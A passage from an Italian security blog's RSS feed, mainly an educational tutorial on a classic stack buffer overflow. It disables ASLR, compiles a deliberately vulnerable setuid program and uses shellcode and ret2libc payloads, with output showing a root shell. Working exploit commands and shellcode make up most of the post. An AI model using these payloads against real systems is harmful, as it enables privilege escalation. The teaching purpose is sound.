HlsZT0iY29sb3I6ICMwMDAwZGQ7Ij43PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPj09PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBkZDsiPjA8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiMxMjM7PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnByaW50Zjwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij4mcXVvdDslcCA6ICVzPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlxuPC9zcGFuPiZxdW90Ozwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPnB0cjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+cHRyPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNiMWIxMDA7Ij5yZXR1cm48L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBkZDsiPjA8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiMxMjU7PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICBwdHI8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4rKzs8L3NwYW4+CiAgICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiMxMjU7PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzEyNTs8L3NwYW4+PC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5Db21waWxpYW1vIGNvbiBsZSBzdGVzc2Ugb3B6aW9uaSBhZG90dGF0dGUgcGVyIHZ1bG4uYzwvcD4KPHA+QW5hbGl6emlhbW8gbG8gc3RhY2sgYWRkcmVzczo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InR4dCIgc3R5bGU9ImZvbnQtZmFtaWx5Om1vbm9zcGFjZTsiPnVzZXJAYnQkIGdkYiAtcSB2dWxuCihnZGIpIGIgbWFpbgpCcmVha3BvaW50IDEgYXQgMHg4MDQ4M2ZhCihnZGIpIHJ1bgpTdGFydGluZyBwcm9ncmFtOiAvdnVsbgombmJzcDsKQnJlYWtwb2ludCAxLCAweDA4MDQ4M2ZhIGluIG1haW4gKCkKQ3VycmVudCBsYW5ndWFnZTogIGF1dG87IGN1cnJlbnRseSBhc20KKGdkYikgeC94IHN5c3RlbQoweGI3ZWE3YTkwICZsdDtzeXN0ZW0mZ3Q7OiAgICAweDg5MGNlYzgzCihnZGIpIHEKVGhlIHByb2dyYW0gaXMgcnVubmluZy4gIEV4aXQgYW55d2F5PyAoeSBvciBuKSB5PC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5OZWwgY2FzbyBpbiBjdWkgYXZlc3NpbW8gdW5vIHN0YWNrIGRpbmFtaWNvLCBsJiM4MjE3O2luZGlyaXp6byA8c3Ryb25nPjB4YjdlYTdhOTA8L3N0cm9uZz4gY2FtYmllcmViYmUgb2duaSB2b2x0YS48L3A+CjxwPkNlcmNoaWFtbyBsYSBub3N0cmEgc2hlbGwgaW4gbWVtb3JpYTo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InRleHQiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij51c2VyQGJ0JCAuL2ZpbmQKMHhiN2ZhYWIzMyA6IC9iaW4vc2g8L3ByZT48L2Rpdj48L2Rpdj4KCjxwPkJlbmUgb3JhIG5vbiBjaSByZXN0YSBjaGUgbGFuY2lhcmUgbCYjODIxNztleHBsb2l0OjwvcD4KCjxkaXYgY2xhc3M9IndwX3N5bnRheCI+PGRpdiBjbGFzcz0iY29kZSI+PHByZSBjbGFzcz0idGV4dCIgc3R5bGU9ImZvbnQtZmFtaWx5Om1vbm9zcGFjZTsiPnVzZXJAYnQkIC4vdnVsbiBgcHJpbnRmICZxdW90O2FhYWFiYmJiY2NjY1x4OTBceDdhXHhlYVx4YjdhYWFhXHgzM1x4YWJceGZhXHhiNyZxdW90O2AKSGVsbG8gYWFhYWJiYmJjY2Nj77+9eu+/ve+/vWFhYWEz77+977+977+9CiMgd2hvYW1pCnJvb3Q8L3ByZT48L2Rpdj48L2Rpdj4KCjxwPlF1ZXN0byBhcnRpY29sbyBoYSBpbCBzb2xvIHNjb3BvIGRpZGF0dGljbywgaW5mYXR0aSBjb24gbCYjODIxNzt1dGlsaXp6byBkaSBrZXJuZWwgYWdnaW9ybmF0aSBwb3RyZWJiZXJvIHZlcmlmaWNhcnNpIGVycm9yaSBlL28gU2VnbWVudGF0aW9uIEZhdWx0LjwvcD4K" /></form> <div class="pdf24Plugin-cp-link"> 	<a href="javascript:void(document.pdf24Form1.submit());" onclick="var pdf24Win = window.open('about:blank', 'pdf24PopWin', 'resizable=yes,scrollbars=yes,width=400,height=200,top=0,left=0'); pdf24Win.focus(); return true;"><img src="http://www.manzotti.eu/wp-content/plugins/pdf24-post-to-pdf/img/sheep_16x16.gif" alt="Word PDF" border="0" /></a> <!--	<a href="javascript:void(document.pdf24Form1.submit());" onclick="var pdf24Win = window.open('about:blank', 'pdf24PopWin', 'resizable=yes,scrollbars=yes,width=400,height=200,top=0,left=0'); pdf24Win.focus(); return true;">Scarica l'articolo in formato PDF</a> --> </div> </div> <p>Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l&#8217;ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura&#8230;</p>
<p>Dopo l&#8217;articolo sulle <a href="http://manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix">basi dell&#8217;assembly e del debugging</a>, vediamo in questo come implementare la tecnica del <a href="http://en.wikipedia.org/wiki/Buffer_overflow">buffer overflow</a>.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1.jpg"><img src="http://manzotti.eu/wp-content/uploads/2010/07/hexdump1-299x193.jpg" alt="" title="hexdump1" width="299" height="193" class="aligncenter size-medium wp-image-1739" /></a></p>
<p>Senza perderci troppo sulla teoria che rimando a <a href="http://en.wikipedia.org/wiki/Buffer_overflow">wikipedia</a>, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.</p>
<p>Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0</pre></div></div>

<p>Per riabilitarlo invece:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# sysctl -w kernel.randomize_va_space=3</pre></div></div>

<p><strong>vuln.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
          <span style="color: #993333;">char</span> buf<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
          strcpy<span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;"># gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2
vuln.c: In function ‘main’:
vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’
vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’</pre></div></div>

<p>Ricordiamoci di utilizzare le opzioni <i><u>-z execstack</u> <u>-fno-stack-protector</u> <u>-mpreferred-stack-boundary=2</u></i> per il kernel 2.6.x e settiamo il suid:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">#chmod +s vuln</pre></div></div>

<p>Procuriamoci uno shellcode da <a href="http://shellcode.org/Shellcode/linux/null-free/">shellcode.org</a> testiamo il suo funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">char</span> main<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xeb</span><span style="color: #660099; font-weight: bold;">\x19</span><span style="color: #660099; font-weight: bold;">\x5e</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x46</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xdb</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc9</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xc0</span><span style="color: #660099; font-weight: bold;">\xb0</span><span style="color: #660099; font-weight: bold;">\x0b</span><span style="color: #660099; font-weight: bold;">\x89</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xf3</span><span style="color: #660099; font-weight: bold;">\x31</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\x57</span><span style="color: #660099; font-weight: bold;">\x56</span><span style="color: #660099; font-weight: bold;">\x89</span><span style="color: #660099; font-weight: bold;">\xe1</span><span style="color: #660099; font-weight: bold;">\x31</span>&quot;</span>
     <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xd2</span><span style="color: #660099; font-weight: bold;">\xcd</span><span style="color: #660099; font-weight: bold;">\x80</span><span style="color: #660099; font-weight: bold;">\xe8</span><span style="color: #660099; font-weight: bold;">\xe2</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span>&quot;</span>
     <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Testiamo il suo corretto funzionamento:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:# gcc -o shellcode shellcode.c
root@bt:# ./shellcode
#</pre></div></div>

<p>Bene ora possiamo esportare il tutto in una variabile d&#8217;ambiente aggiungendo anche del nop code.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ export SH=`perl -e 'print &quot;\x90&quot;x64,&quot;\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh&quot;'`</pre></div></div>

<p>Ora non ci resta che individuare dove è localizzata la variabile d&#8217;ambiente appena creata.</p>
<p><strong>get.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
          <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;The address of %s is %p<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> getenv<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo e cerchiamo l&#8217;indirizzo della variabile d&#8217;ambiente:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@$ ./get SH
The address of SH is 0xbffffed4</pre></div></div>

<p>Ora possimao lanciare l&#8217;exploit sull&#8217;indirizzo appena trovato:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ ./get SH
The address of SH is 0xbffffed4
user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print &quot;\xd4\xfe\xff\xbf&quot;x4'`
Hello ����������������
# whoami
root</pre></div></div>

<p>Possiamo fare anche la stessa cosa senza utilizzare una variabile d&#8217;ambiente e shellcode, ma cercando il binario direttamente nella memoria.</p>
<p><strong>find.c</strong></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#define BASE_ADDR    0xb7e7d000</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
           <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>ptr<span style="color: #339933;">=</span>BASE_ADDR<span style="color: #339933;">;</span>
           <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>strncmp<span style="color: #009900;">&#40;</span>ptr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                                <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%p : %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span>ptr<span style="color: #339933;">,</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                     <span style="color: #009900;">&#125;</span>
                     ptr<span style="color: #339933;">++;</span>
           <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Compiliamo con le stesse opzioni adottatte per vuln.c</p>
<p>Analizziamo lo stack address:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">user@bt$ gdb -q vuln
(gdb) b main
Breakpoint 1 at 0x80483fa
(gdb) run
Starting program: /vuln
&nbsp;
Breakpoint 1, 0x080483fa in main ()
Current language:  auto; currently asm
(gdb) x/x system
0xb7ea7a90 &lt;system&gt;:    0x890cec83
(gdb) q
The program is running.  Exit anyway? (y or n) y</pre></div></div>

<p>Nel caso in cui avessimo uno stack dinamico, l&#8217;indirizzo <strong>0xb7ea7a90</strong> cambierebbe ogni volta.</p>
<p>Cerchiamo la nostra shell in memoria:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./find
0xb7faab33 : /bin/sh</pre></div></div>

<p>Bene ora non ci resta che lanciare l&#8217;exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">user@bt$ ./vuln `printf &quot;aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7&quot;`
Hello aaaabbbbcccc�z��aaaa3���
# whoami
root</pre></div></div>

<p>Questo articolo ha il solo scopo didattico, infatti con l&#8217;utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/le-basi-del-bof-buffer-overflow/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le basi dell&#039;assembly e del debugging su unix</title>
		<link>http://www.manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix</link>
		<comments>http://www.manzotti.eu/le-basi-dellassembly-e-del-debugging-su-unix#comments</comments>
		<pubDate>Sun, 22 Mar 2009 13:51:50 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[debug]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=254</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div class="pdf24Plugin-cp"> <form name="pdf24Form3" method="post" target="pdf24PopWin" action="http://doc2pdf.pdf24.org/wordpress.php"><input type="hidden" name="blogCharset" value="VVRGLTg=" /><input type="hidden" name="blogPosts" value="MQ==" /><input type="hidden" name="blogUrl" value="aHR0cDovL3d3dy5tYW56b3R0aS5ldQ==" /><input type="hidden" name="blogName" value="TWljaGVsZSBNYW56b3R0aQ==" /><input type="hidden" name="blogValueEncoding" value="base64" /><input type="hidden" name="postTitle_0" value="TGUgYmFzaSBkZWxsJiMwMzk7YXNzZW1ibHkgZSBkZWwgZGVidWdnaW5nIHN1IHVuaXg=" /><input type="hidden" name="postLink_0" value="aHR0cDovL3d3dy5tYW56b3R0aS5ldS9sZS1iYXNpLWRlbGxhc3NlbWJseS1lLWRlbC1kZWJ1Z2dpbmctc3UtdW5peA==" /><input type="hidden" name="postAuthor_0" value="bWFuem90dGkuZXU=" /><input type="hidden" name="postDateTime_0" value="MjIgbWFyem8gMjAwOSAxNDo1MQ==" /><input type="hidden" name="postContent_0" value="PHA+Q29uIHF1ZXN0byBhcnRpY29sbyBkaWFtbyB1biYjODIxNztvY2NoaWF0YSBhIHF1ZWxsZSBjaGUgc29ubyBsZSBwcmluY2lwYWxpIHRlY25pY2hlIGRpIDxhIGhyZWY9Imh0dHA6Ly9pdC53aWtpcGVkaWEub3JnL3dpa2kvRGVidWdnaW5nIj5kZWJ1Z2dpbmc8L2E+IGluIGFtYml0byB1bml4IHBlciBjYXBpcmUgbWVnbGlvIGlsIGZ1bnppb25hbWVudG8gZGVsIGxpbmd1YWdnaW8gPGEgaHJlZj0iaHR0cDovL2l0Lndpa2lwZWRpYS5vcmcvd2lraS9Bc3NlbWJseSI+YXNzZW1ibHk8L2E+LjwvcD4KPHA+RHVlIHNvbm8gaSBwcmluY2lwYWxpIHN0cnVtZW50aSBpbXBpZWdhdGkgcGVyIHF1ZXN0byBnZW5lcmUgZGkgb3BlcmF6aW9uaTo8YnIgLz4KLSA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+T2JqZHVtcDwvZW0+PC9zcGFuPiDDqCB1biB0b29sIGNoZSB2aWVuZSB1dGlsaXp6YXRvIHBlciBlc2FtaW5hcmUgaSBmaWxlIGJpbmFyaSBjb21waWxhdGk8YnIgLz4KLSA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+R2RiPC9lbT48L3NwYW4+IMOoIHVuIGRlYnVnZ2VyIHBlciBzZWd1aXJlIHBhc3NvLXBhc3NvIGlsIGZsdXNzbyBkZWkgcHJvZ3JhbW1pIGNvbXBpbGF0aTwvcD4KPHA+VHJhbWl0ZSBxdWVzdGkgcHJvZ3JhbW1pIMOoIGZhY2lsZSBpbnRlcnJvZ2FyZSBpIHJlZ2lzdHJpIHByZXNlbnRpIG5lbGxhIENQVSBwZXIgdmlzdWFsaXp6YXJuZSBpbCBjb250ZW51dG8gZSBjYXBpcmUgY29tZSB2aWVuZSBhbGxvY2F0YSBsYSBtZW1vcmlhLiBOZWwgbm9zdHJvIGVzZW1waW8gaG8gYWRvdHRhdG8gdW5hIGNsYXNzaWNhIGFyY2hpdGV0dHVyYSA8YSBocmVmPSJodHRwOi8vaXQud2lraXBlZGlhLm9yZy93aWtpL0ludGVsXzgwMzg2Ij5JbnRlbCBpMzg2PC9hPiwgcHJlc2VudGUgbmVsbGEgbWFnZ2lvciBwYXJ0ZSBkZWkgcGMuIEluIHF1ZXN0byBhbWJpZW50ZSBpIHByaW5jaXBhbGkgcmVnaXN0cmkgY29uIGkgcXVhbGkgbGEgQ1BVIGxhdm9yYSBzb25vIGkgc2VndWVudGk6PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJwZXJsIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+RUFYPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gYWNjdW11bGF0b3JlCkVDWDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+IGNvbnRhdG9yZQpFRFg8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiBkYXRpCkVCWDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+IGJhc2UKRUlQPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gcHVudGF0b3JlIGFsbGEgaXN0cnV6aW9uZSBzdWNjZXNzaXZhCkVTUDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+IHB1bnRhdG9yZSBkZWxsYSBmaW5lIGRlbGxvIHN0YWNrCkVCUDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+IHB1bnRhdG9yZSBhbCBmcmFtZSBjb3JyZW50ZQpTUEY8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiByaXBvcnRhIEVCUCBhbCB2YWxvcmUgcHJlY2VkZW50ZQpFU0k8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiBpbmRpY2UgZGkgb3JpZ2luZQpFREk8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiBpbmRpY2UgZGkgZGVzdGluYXppb25lPC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5QZXIgZWZmZXR0dWFyZSBsZSBpbnRlcnJvZ2F6aW9uaSBhZG90dGVyZW1vIGlsIGNvbWFuZG8gPGVtPng8L2VtPiwgY2hlIHN0YSBhcHB1bnRvIHBlciA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+ZXhhbWluZTwvZW0+PC9zcGFuPiwgc3BlY2lmaWNhbmRvIGFuY2hlIGNvbWUgdmlzdWFsaXp6YXJlIGwmIzgyMTc7b3V0cHV0IGRlbCByZWdpc3RybyBlc2FtaW5hdG86PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJwZXJsIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+eDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+eCA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij49PC9zcGFuPiBlc2FtaW5hIGluIGVzYWRlY2ltYWxlCng8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4vPC9zcGFuPm8gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+PTwvc3Bhbj4gZXNhbWluYSBpbiBvdHRhbGUKeDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+dSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij49PC9zcGFuPiBlc2FtaW5hIGluIGRlY2ltYWxlIHNlbnphIHNlZ25vCng8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4vPC9zcGFuPmQgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+PTwvc3Bhbj4gZXNhbWluYSBpbiBkZWNpbWFsZQp4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Lzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwNjY7Ij5zPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij49PC9zcGFuPiBlc2FtaW5hIGluIHN0cmluZ2EKeDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+aSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij49PC9zcGFuPiBlc2FtaW5hIHVuIGlzdHJ1emlvbmU8L3ByZT48L2Rpdj48L2Rpdj4KCjxwPklub2x0cmUgZGlnaXRhbmRvIHVuIG51bWVybyBzdWJpdG8gZG9wbyBsbyBzbGFzaCDDqCBwb3NzaWJpbGUgc3BlY2lmaWNhcmUgcXVhbnRpIGJ5dGUgaW50ZXJyb2dhcmUuIFJpY29yZG8gY2hlIG9nbmkgbGV0dGVyYSBBU0NJSSBjb3JyaXNwb25kZSBhZCB1biBieXRlIChhZCBlc2VtcGlvIGxhIGxldHRlcmEgJiM4MjIwO0EmIzgyMjE7IGNvcnJpc3BvbmRlIDAmIzIxNTs0MSBzY3JpdHRvIGluIGVzYWRlY2ltYWxlKS48L3A+CjxwPkFuYWxpenppYW1vIG9yYSBpbCBub3N0cm8gcHJpbW8gcHJvZ3JhbW1hIGluIEMgZmlyc3Rwcm9nLmM6PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJwZXJsIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjY2NjY2OyBmb250LXN0eWxlOiBpdGFsaWM7Ij4jaW5jbHVkZTwvc3Bhbj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+aW50PC9zcGFuPiBtYWluPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjMTIzOzwvc3Bhbj4KICA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwNjY7Ij5pbnQ8L3NwYW4+IGk8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPgogIDxzcGFuIHN0eWxlPSJjb2xvcjogI2IxYjEwMDsiPmZvcjwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+aTxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPj08L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPiBpIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPiZhbXA7bHQ8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj4gPHN